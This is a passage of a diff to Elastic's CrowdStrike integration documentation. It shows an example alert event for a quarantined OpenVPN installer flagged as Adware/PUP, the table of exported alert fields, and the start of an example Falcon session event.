09377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+        "severity": 21,
+        "type": [
+            "start"
+        ]
+    },
+    "file": {
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+    },
+    "host": {
+        "domain": "ABC.LOCAL",
+        "hostname": "ABC709-1175",
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "ip": [
+            "81.2.69.142"
+        ],
+        "mac": [
+            "AB-21-48-61-05-B2"
+        ],
+        "os": {
+            "full": "Windows11",
+            "platform": "Windows",
+            "type": "windows"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+    "process": {
+        "end": "2023-11-03T18:00:21.000Z",
+        "entity_id": "399748687993",
+        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "hash": {
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+        },
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "parent": {
+            "command_line": "C:\\WINDOWS\\Explorer.EXE",
+            "entity_id": "392736520876",
+            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+            "hash": {
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+            },
+            "name": "explorer.exe",
+            "pid": 392736520876
+        },
+        "pid": 399748687993,
+        "start": "2023-11-03T18:00:13.000Z",
+        "user": {
+            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "name": "mohit.jha"
+        }
+    },
+    "related": {
+        "hash": [
+            "b07f77fd3f9828b2c9d61f8a36609741",
+            "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "8cc3fcdd7d52d2d5221303c213e044ae",
+            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+            "0000000000000000000000000000000000000000"
+        ],
+        "hosts": [
+            "ABC.LOCAL",
+            "ABC709-1175"
+        ],
+        "ip": [
+            "81.2.69.142"
+        ],
+        "user": [
+            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "yuvraj.mahajan",
+            "mohit.jha"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-alert"
+    ],
+    "threat": {
+        "framework": "CrowdStrike Falcon Detections Framework",
+        "tactic": {
+            "id": [
+                "CSTA0004"
+            ],
+            "name": [
+                "MachineLearning"
+            ]
+        },
+        "technique": {
+            "id": [
+                "CST0000"
+            ],
+            "name": [
+                "Adware/PUP"
+            ]
+        }
+    },
+    "user": {
+        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+        "name": "mohit.jha"
+    }
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| crowdstrike.alert.active_directory_authentication_method |  | long |
+| crowdstrike.alert.activity.browser |  | keyword |
+| crowdstrike.alert.activity.device |  | keyword |
+| crowdstrike.alert.activity.id |  | keyword |
+| crowdstrike.alert.activity.os |  | keyword |
+| crowdstrike.alert.agent_id |  | keyword |
+| crowdstrike.alert.agent_scan_id |  | keyword |
+| crowdstrike.alert.aggregate_id |  | keyword |
+| crowdstrike.alert.alert_attributes |  | long |
+| crowdstrike.alert.alleged_filetype |  | keyword |
+| crowdstrike.alert.assigned_to.name |  | keyword |
+| crowdstrike.alert.assigned_to.uid |  | keyword |
+| crowdstrike.alert.assigned_to.uuid |  | keyword |
+| crowdstrike.alert.associated_files.filepath |  | keyword |
+| crowdstrike.alert.associated_files.sha256 |  | keyword |
+| crowdstrike.alert.child_process_ids |  | keyword |
+| crowdstrike.alert.cid |  | keyword |
+| crowdstrike.alert.cloud_indicator |  | boolean |
+| crowdstrike.alert.cmdline |  | keyword |
+| crowdstrike.alert.command_line |  | keyword |
+| crowdstrike.alert.comment |  | keyword |
+| crowdstrike.alert.composite_id |  | keyword |
+| crowdstrike.alert.confidence |  | long |
+| crowdstrike.alert.context_timestamp |  | date |
+| crowdstrike.alert.control_graph_id |  | keyword |
+| crowdstrike.alert.crawl_edge_ids.Sensor |  | keyword |
+| crowdstrike.alert.crawl_vertex_ids.Sensor |  | keyword |
+| crowdstrike.alert.crawled_timestamp |  | date |
+| crowdstrike.alert.created_timestamp |  | date |
+| crowdstrike.alert.data_domains |  | keyword |
+| crowdstrike.alert.description |  | keyword |
+| crowdstrike.alert.detect_type |  | keyword |
+| crowdstrike.alert.device.agent_load_flags |  | long |
+| crowdstrike.alert.device.agent_local_time |  | date |
+| crowdstrike.alert.device.agent_version |  | keyword |
+| crowdstrike.alert.device.bios_manufacturer |  | keyword |
+| crowdstrike.alert.device.bios_version |  | keyword |
+| crowdstrike.alert.device.cid |  | keyword |
+| crowdstrike.alert.device.config_id_base |  | keyword |
+| crowdstrike.alert.device.config_id_build |  | keyword |
+| crowdstrike.alert.device.config_id_platform |  | long |
+| crowdstrike.alert.device.external_ip |  | ip |
+| crowdstrike.alert.device.first_seen |  | date |
+| crowdstrike.alert.device.groups |  | keyword |
+| crowdstrike.alert.device.hostinfo.active_directory_dn_display |  | keyword |
+| crowdstrike.alert.device.hostinfo.domain |  | keyword |
+| crowdstrike.alert.device.hostname |  | keyword |
+| crowdstrike.alert.device.id |  | keyword |
+| crowdstrike.alert.device.last_seen |  | date |
+| crowdstrike.alert.device.local_ip |  | ip |
+| crowdstrike.alert.device.mac_address |  | keyword |
+| crowdstrike.alert.device.machine_domain |  | keyword |
+| crowdstrike.alert.device.major_version |  | keyword |
+| crowdstrike.alert.device.minor_version |  | keyword |
+| crowdstrike.alert.device.modified_timestamp |  | date |
+| crowdstrike.alert.device.os_version |  | keyword |
+| crowdstrike.alert.device.ou |  | keyword |
+| crowdstrike.alert.device.platform_id |  | keyword |
+| crowdstrike.alert.device.platform_name |  | keyword |
+| crowdstrike.alert.device.pod_labels |  | keyword |
+| crowdstrike.alert.device.product_type |  | keyword |
+| crowdstrike.alert.device.product_type_desc |  | keyword |
+| crowdstrike.alert.device.site_name |  | keyword |
+| crowdstrike.alert.device.status |  | keyword |
+| crowdstrike.alert.device.system_manufacturer |  | keyword |
+| crowdstrike.alert.device.system_product_name |  | keyword |
+| crowdstrike.alert.device.tags |  | keyword |
+| crowdstrike.alert.display_name |  | keyword |
+| crowdstrike.alert.documents_accessed.filename |  | keyword |
+| crowdstrike.alert.documents_accessed.filepath |  | keyword |
+| crowdstrike.alert.documents_accessed.timestamp |  | date |
+| crowdstrike.alert.email_sent |  | boolean |
+| crowdstrike.alert.end_time |  | date |
+| crowdstrike.alert.event_id |  | keyword |
+| crowdstrike.alert.executables_written.filename |  | keyword |
+| crowdstrike.alert.executables_written.filepath |  | keyword |
+| crowdstrike.alert.executables_written.timestamp |  | date |
+| crowdstrike.alert.falcon_host_link |  | keyword |
+| crowdstrike.alert.file_writes.name |  | keyword |
+| crowdstrike.alert.file_writes.sha256 |  | keyword |
+| crowdstrike.alert.filename |  | keyword |
+| crowdstrike.alert.filepath |  | keyword |
+| crowdstrike.alert.files_accessed.filename |  | keyword |
+| crowdstrike.alert.files_accessed.filepath |  | keyword |
+| crowdstrike.alert.files_accessed.timestamp |  | date |
+| crowdstrike.alert.files_written.filename |  | keyword |
+| crowdstrike.alert.files_written.filepath |  | keyword |
+| crowdstrike.alert.files_written.timestamp |  | date |
+| crowdstrike.alert.global_prevalence |  | keyword |
+| crowdstrike.alert.grandparent_details.cmdline |  | keyword |
+| crowdstrike.alert.grandparent_details.filename |  | keyword |
+| crowdstrike.alert.grandparent_details.filepath |  | keyword |
+| crowdstrike.alert.grandparent_details.local_process_id |  | keyword |
+| crowdstrike.alert.grandparent_details.md5 |  | keyword |
+| crowdstrike.alert.grandparent_details.process_graph_id |  | keyword |
+| crowdstrike.alert.grandparent_details.process_id |  | keyword |
+| crowdstrike.alert.grandparent_details.sha256 |  | keyword |
+| crowdstrike.alert.grandparent_details.timestamp |  | date |
+| crowdstrike.alert.grandparent_details.user_graph_id |  | keyword |
+| crowdstrike.alert.grandparent_details.user_id |  | keyword |
+| crowdstrike.alert.grandparent_details.user_name |  | keyword |
+| crowdstrike.alert.has_script_or_module_ioc |  | boolean |
+| crowdstrike.alert.host_name |  | keyword |
+| crowdstrike.alert.host_type |  | keyword |
+| crowdstrike.alert.id |  | keyword |
+| crowdstrike.alert.idp_policy.enforced_externally |  | long |
+| crowdstrike.alert.idp_policy.mfa_factor_type |  | long |
+| crowdstrike.alert.idp_policy.mfa_provider |  | long |
+| crowdstrike.alert.idp_policy.rule_action |  | long |
+| crowdstrike.alert.idp_policy.rule_id |  | keyword |
+| crowdstrike.alert.idp_policy.rule_name |  | keyword |
+| crowdstrike.alert.idp_policy.rule_trigger |  | long |
+| crowdstrike.alert.image_file_name |  | keyword |
+| crowdstrike.alert.incident.created |  | date |
+| crowdstrike.alert.incident.end |  | date |
+| crowdstrike.alert.incident.id |  | keyword |
+| crowdstrike.alert.incident.score |  | double |
+| crowdstrike.alert.incident.start |  | date |
+| crowdstrike.alert.indicator_id |  | keyword |
+| crowdstrike.alert.ioc_context.cmdline |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_description |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_source |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_type |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_value |  | keyword |
+| crowdstrike.alert.ioc_context.md5 |  | keyword |
+| crowdstrike.alert.ioc_context.sha256 |  | keyword |
+| crowdstrike.alert.ioc_context.type |  | keyword |
+| crowdstrike.alert.ioc_description |  | keyword |
+| crowdstrike.alert.ioc_source |  | keyword |
+| crowdstrike.alert.ioc_type |  | keyword |
+| crowdstrike.alert.ioc_value |  | keyword |
+| crowdstrike.alert.ioc_values |  | keyword |
+| crowdstrike.alert.is_synthetic_quarantine_disposition |  | boolean |
+| crowdstrike.alert.ldap_search_query_attack |  | long |
+| crowdstrike.alert.local_prevalence |  | keyword |
+| crowdstrike.alert.local_process_id |  | keyword |
+| crowdstrike.alert.location_country_code |  | keyword |
+| crowdstrike.alert.location_latitude_as_int |  | long |
+| crowdstrike.alert.location_longitude_as_int |  | long |
+| crowdstrike.alert.logon_domain |  | keyword |
+| crowdstrike.alert.md5 |  | keyword |
+| crowdstrike.alert.mitre_attack.pattern_id |  | keyword |
+| crowdstrike.alert.mitre_attack.tactic |  | keyword |
+| crowdstrike.alert.mitre_attack.tactic_id |  | keyword |
+| crowdstrike.alert.mitre_attack.technique |  | keyword |
+| crowdstrike.alert.mitre_attack.technique_id |  | keyword |
+| crowdstrike.alert.model_anomaly_indicators |  | keyword |
+| crowdstrike.alert.name |  | keyword |
+| crowdstrike.alert.network_accesses.access_timestamp |  | date |
+| crowdstrike.alert.network_accesses.access_type |  | long |
+| crowdstrike.alert.network_accesses.connection_direction |  | keyword |
+| crowdstrike.alert.network_accesses.isIPV6 |  | boolean |
+| crowdstrike.alert.network_accesses.local_address |  | ip |
+| crowdstrike.alert.network_accesses.local_port |  | long |
+| crowdstrike.alert.network_accesses.protocol |  | keyword |
+| crowdstrike.alert.network_accesses.remote_address |  | ip |
+| crowdstrike.alert.network_accesses.remote_port |  | long |
+| crowdstrike.alert.objective |  | keyword |
+| crowdstrike.alert.operating_system |  | keyword |
+| crowdstrike.alert.os_name |  | keyword |
+| crowdstrike.alert.overwatch_note |  | keyword |
+| crowdstrike.alert.overwatch_note_timestamp |  | date |
+| crowdstrike.alert.parent_details.cmdline |  | keyword |
+| crowdstrike.alert.parent_details.filename |  | keyword |
+| crowdstrike.alert.parent_details.filepath |  | keyword |
+| crowdstrike.alert.parent_details.local_process_id |  | keyword |
+| crowdstrike.alert.parent_details.md5 |  | keyword |
+| crowdstrike.alert.parent_details.process_graph_id |  | keyword |
+| crowdstrike.alert.parent_details.process_id |  | keyword |
+| crowdstrike.alert.parent_details.sha256 |  | keyword |
+| crowdstrike.alert.parent_details.timestamp |  | date |
+| crowdstrike.alert.parent_details.user_graph_id |  | keyword |
+| crowdstrike.alert.parent_details.user_id |  | keyword |
+| crowdstrike.alert.parent_details.user_name |  | keyword |
+| crowdstrike.alert.parent_process_id |  | keyword |
+| crowdstrike.alert.pattern_disposition |  | long |
+| crowdstrike.alert.pattern_disposition_description |  | keyword |
+| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.containment_file_system |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.critical_process_disabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.detect |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.inddet_mask |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.indicator |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_action_failed |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_parent |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_process |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_subprocess |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.mfa_required |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.operation_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.policy_disabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.process_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.quarantine_file |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.quarantine_machine |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.response_action_already_applied |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.response_action_failed |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.response_action_triggered |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.rooting |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.sensor_only |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.suspend_parent |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.suspend_process |  | boolean |
+| crowdstrike.alert.pattern_id |  | keyword |
+| crowdstrike.alert.platform |  | keyword |
+| crowdstrike.alert.poly_id |  | keyword |
+| crowdstrike.alert.prevented |  | boolean |
+| crowdstrike.alert.process_end_time |  | date |
+| crowdstrike.alert.process_id |  | keyword |
+| crowdstrike.alert.process_start_time |  | date |
+| crowdstrike.alert.product |  | keyword |
+| crowdstrike.alert.protocol_anomaly_classification |  | long |
+| crowdstrike.alert.quarantined |  | boolean |
+| crowdstrike.alert.quarantined_files.filename |  | keyword |
+| crowdstrike.alert.quarantined_files.id |  | keyword |
+| crowdstrike.alert.quarantined_files.sha256 |  | keyword |
+| crowdstrike.alert.quarantined_files.state |  | keyword |
+| crowdstrike.alert.rule_group_id |  | keyword |
+| crowdstrike.alert.rule_group_name |  | keyword |
+| crowdstrike.alert.rule_instance_created_by |  | keyword |
+| crowdstrike.alert.rule_instance_id |  | keyword |
+| crowdstrike.alert.rule_instance_name |  | keyword |
+| crowdstrike.alert.rule_instance_version |  | keyword |
+| crowdstrike.alert.scan_id |  | keyword |
+| crowdstrike.alert.scenario |  | keyword |
+| crowdstrike.alert.seconds_to_resolved |  | long |
+| crowdstrike.alert.seconds_to_triaged |  | long |
+| crowdstrike.alert.severity |  | long |
+| crowdstrike.alert.severity_name |  | keyword |
+| crowdstrike.alert.sha1 |  | keyword |
+| crowdstrike.alert.sha256 |  | keyword |
+| crowdstrike.alert.show_in_ui |  | boolean |
+| crowdstrike.alert.source.account_azure_id |  | keyword |
+| crowdstrike.alert.source.account_domain |  | keyword |
+| crowdstrike.alert.source.account_name |  | keyword |
+| crowdstrike.alert.source.account_object_guid |  | keyword |
+| crowdstrike.alert.source.account_object_sid |  | keyword |
+| crowdstrike.alert.source.account_sam_account_name |  | keyword |
+| crowdstrike.alert.source.account_upn |  | keyword |
+| crowdstrike.alert.source.endpoint_account_object_guid |  | keyword |
+| crowdstrike.alert.source.endpoint_account_object_sid |  | keyword |
+| crowdstrike.alert.source.endpoint_address_ip4 |  | ip |
+| crowdstrike.alert.source.endpoint_host_name |  | keyword |
+| crowdstrike.alert.source.endpoint_ip_address |  | ip |
+| crowdstrike.alert.source.endpoint_ip_reputation |  | long |
+| crowdstrike.alert.source.endpoint_sensor_id |  | keyword |
+| crowdstrike.alert.source.ip_isp_classification |  | long |
+| crowdstrike.alert.source.ip_isp_domain |  | keyword |
+| crowdstrike.alert.source_products |  | keyword |
+| crowdstrike.alert.source_vendors |  | keyword |
+| crowdstrike.alert.start_time |  | date |
+| crowdstrike.alert.status |  | keyword |
+| crowdstrike.alert.tactic |  | keyword |
+| crowdstrike.alert.tactic_id |  | keyword |
+| crowdstrike.alert.tags |  | keyword |
+| crowdstrike.alert.target.account_name |  | keyword |
+| crowdstrike.alert.target.domain_controller_host_name |  | keyword |
+| crowdstrike.alert.target.domain_controller_object_guid |  | keyword |
+| crowdstrike.alert.target.domain_controller_object_sid |  | keyword |
+| crowdstrike.alert.target.endpoint_account_object_guid |  | keyword |
+| crowdstrike.alert.target.endpoint_account_object_sid |  | keyword |
+| crowdstrike.alert.target.endpoint_host_name |  | keyword |
+| crowdstrike.alert.target.endpoint_sensor_id |  | keyword |
+| crowdstrike.alert.target.service_access_identifier |  | keyword |
+| crowdstrike.alert.technique |  | keyword |
+| crowdstrike.alert.technique_id |  | keyword |
+| crowdstrike.alert.template_instance_id |  | keyword |
+| crowdstrike.alert.timestamp |  | date |
+| crowdstrike.alert.tree_id |  | keyword |
+| crowdstrike.alert.tree_root |  | keyword |
+| crowdstrike.alert.triggering_process_graph_id |  | keyword |
+| crowdstrike.alert.type |  | keyword |
+| crowdstrike.alert.updated_timestamp |  | date |
+| crowdstrike.alert.user_id |  | keyword |
+| crowdstrike.alert.user_name |  | keyword |
+| crowdstrike.alert.user_principal |  | keyword |
+| crowdstrike.alert.worker_node_name |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| log.offset | Log offset. | long |
+| tags | List of keywords used to tag each event. | keyword |
+| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
+| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
+| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
+
+
+### Falcon
+
+This is the `falcon` dataset.
+
+#### Example 
+
+An example event for `falcon` looks as following:
+
+```json
+{
+    "@timestamp": "2023-11-02T13:41:34.000Z",
+    "agent": {
+        "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4",
+        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
+        "name": "elastic-agent-93422",
+        "type": "filebeat",
+        "version": "8.18.1"
+    },
+    "crowdstrike": {
+        "event": {
+            "AgentIdString": "fffffffff33333",
+            "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
+        },
+        "metadata": {
+            "customerIDString": "abcabcabc22221",
+            "eventType": "RemoteResponseSessionStartEvent",
+            "offset": 1,
+            "version": "1.0"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.falcon",
+        "namespace": "99576",
+        "type": "logs"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
+        "snapshot": false,
+        "version": "8.18.1"
+    },
+    "event": {
+        "action": [
+            "remote_response_session_start_event"
+        ],
+        "agent_id_status": "verified",
+        "category": [
+            "network",
+            "session"
+        ],
+        "created": "2023-11-02T13:41:34.000Z",
+        "dataset": "crowdstrike.falcon",
+        "ingested": "2025-05-30T08:29:21Z",
+        "kind": "event",
